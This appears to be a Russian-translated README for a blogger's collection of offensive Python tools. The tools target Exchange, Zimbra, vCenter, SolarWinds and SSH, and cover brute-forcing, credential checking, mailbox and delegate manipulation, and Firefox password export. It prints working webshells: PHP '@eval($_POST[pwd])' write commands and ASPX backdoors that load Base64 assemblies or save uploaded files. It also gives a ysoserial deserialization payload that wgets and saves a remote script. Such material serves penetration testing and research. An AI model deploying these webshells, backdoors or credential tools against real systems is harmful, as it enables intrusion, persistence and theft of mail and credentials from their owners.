
Python codes of my blog.
Python-коды из моего блога.
Использует атаку brute-force для получения пароля PPTP VPN.
Считывает пароли из файла (с именем wordlist), а затем использует pptpsetup для подключения к серверу.
Интервал времени — 10 секунд.
Используется для сканирования портов.
Таймаут — 3 секунды.
Версия на c++:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp
Используется для получения IP-адреса из URL.
Можно напрямую использовать результат Sublist3r.
Используется для удаления дублирующихся IP-адресов из результата Sublist3r.
Можно напрямую использовать результат urltoip.py.
IP-адреса можно отсортировать с помощью Sublime (F9).
Используется для удаления дублирующихся элементов из файла.
Ссылка:
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
Используется для вызова API fofa и вывода IP-адресов из результатов.
Можно получить 100 результатов.
Используется для вызова API fofa и вывода IP-адресов из результатов.
Если вы VIP, вы получите 10000 результатов.
Ссылка:
https://seclists.org/fulldisclosure/2019/Sep/31
Пример:
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php
Ссылка:
https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w
Пример:
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');
Используется для экспорта пароля из Firefox
Используется для получения версии Exchange.
Сначала получает BuildNumber из исходного кода URL, а затем определяет версию.
Ссылка:
Используется для сканирования уязвимости SMBv3 RCE.
Таймаут — 3 секунды.
Ссылка:
https://github.com/imjdl/CVE-2020-8515-PoC
CVE-2020-8515
Устройства DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta и Vigor300B 1.3.3_Beta, 1.4.2.1_Beta и 1.4.4_Beta позволяют удалённо выполнять код с правами root (без аутентификации) через shell-метасимволы в URI cgi-bin/mainfunction.cgi.
Затронутые продукты:
Использует Zimbra SOAP API для подключения к почтовому серверу Zimbra.
Использование:
Zimbra_SOAP_API.py <url> <username> <password> <mode>
Режим:
Пример:
Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low
Используется для проверки действительности учётной записи Exchange Web Service (поддерживает plaintext и ntlmhash)
Ссылка: https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
Использование:
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash
Пример:
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1
Используется для доступа к Autodiscover.xml и получения конфигурации пользователя (поддерживает plaintext и ntlmhash)
Использование:
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx
Пример:
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting
Дополнительный режим checkAutodiscover.py
Добавляет параметр
Используется для доступа к Exchange Web Service (поддерживает plaintext и ntlmhash)
Использование:
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname
Пример:
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox
Используется для проверки действительности учётных данных SSH (поддерживает пароль и файл приватного ключа)
Использование:
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile
Пример:
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa
Удалённое выполнение команд через SSH (поддерживает пароль и файл приватного ключа)
Использование:
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell
Пример:
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps
Используется для проверки действительности учётных данных eas (Exchange Server ActiveSync)
Использование:
easCheck.py <host> <user> <password>
Пример:
easCheck.py 192.168.1.1 user1 password1
Используется для проверки действительности учётной записи Exchange через подключение к OWA.
Использование:
checkOWA.py <url> <user> <password>
Используется для чтения писем через подключение к OWA.
Использование:
owaManage.py <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment
Использует IMAP для подключения к почтовому серверу.
Использование:
imapManage.py <IMAP server> <username> <password> <command>
<command>:
CheckConfig get the folder name
SaveAttachOfInbox save the attachments of Inbox
SaveAttachOfSent save the attachments of Sent
DownloadAllMailOfInbox download all the mails of Inbox
DownloadAllMailOfSent download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig
Используется для реализации NTLM-аутентификации и взаимодействия с execCmd.aspx
Данные взаимодействия кодируются с помощью Base64
Использование:
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami
Версия на C#: SharpExchangeBackdoor.cs
Используется для отправки полезной нагрузки в бэкдор веб-шелла Exchange.
Поддерживает:
Использование:
<url> <user> <password> <mode> <path>
mode:
assemblyLoad
webshellWrite
пример:
SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx
assemblyLoad.aspx:
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>
webshellWrite.aspx:
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>
Небезопасная десериализация объектов — IMAP
Использование:
<url> <user> <password> <payload path>
Пример:
https://192.168.1.1 [email protected] password1 payload.obj
Примечание:
Вы можете сгенерировать payload.obj следующим образом:
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj
Используются для тестирования выполнения кода через десериализацию в Exchange.
От прав на чтение и запись файлов Exchange до выполнения кода через десериализацию.
Необходимо изменить machineKey в %ExchangeInstallPath%\FrontEnd\HttpProxy\\web.config для реализации выполнения кода через десериализацию.
<path>: owa или ecp
Использование:
<url> <key> <path>
пример:
192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
Используется для разбора SOAP XML-сообщений Exchange.
Используется для доступа к центру администрирования Exchange
Использование:
eacManage.py <url> <user> <password> <command>
<command>:
- ListAdminRoles
- NewAdminRoles
- EditAdminRoles
- DeleteAdminRoles
- AddMailbox
- RemoveMailbox
- ExportAllMailbox
- GetCertificate
- ExportCertificate
Использует vSphere Automation API (v7.0U1+) для управления VM
Поддерживает Windows и Linux VM
Использует vSphere Web Services API для управления VM
Ссылка: https://github.com/vmware/pyvmomi/
Установка: pip install --upgrade pyvmomi
Используется для управления базой данных LDAP на vCenter.
Используется для управления платформой SolarWinds Orion
Использует SolarWinds Orion API для управления платформой Orion
Используется для управления почтовым сервером MailEnable
Поддерживает получение результатов через протокол HTTP или FTP.
Используется для доступа к Exchange Web Service (поддерживает plaintext и ntlmhash)
Используется для доступа к Exchange Web Service (поддерживает plaintext и ntlmhash)
Использует requests_ntlm2 для доступа к Exchange Web Service (поддерживает plaintext и ntlmhash)
Использует requests_ntlm2 для доступа к Exchange Web Service (поддерживает plaintext и ntlmhash)
Использует session для уменьшения объёма передаваемых данных
Изменено на основе https://github.com/horizon3ai/vcenter_saml_login
Изменено на основе https://github.com/horizon3ai/vcenter_saml_login
Используется для получения версии Exchange и сопоставления с существующими уязвимостями
Используется для получения версии Exchange и разбора версии из https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
Необходимо сохранить https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 как exchange.data
Используется для получения версии Exchange и разбора версии из https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
Используется для получения внутреннего IP-адреса Exchange
Основано на msf auxiliary/scanner/http/owa_iis_internal_ip, но поддерживает больше серверов Exchange.
Используется для получения версии vRealize Operations Manager
Использует bash для выполнения команд
Используется для расшифровки .plx-файлов Sophos UTM
Ссылка:
https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223
https://github.com/the6p4c/bfs_extract
Используется для разбора конфигурации Sophos UTM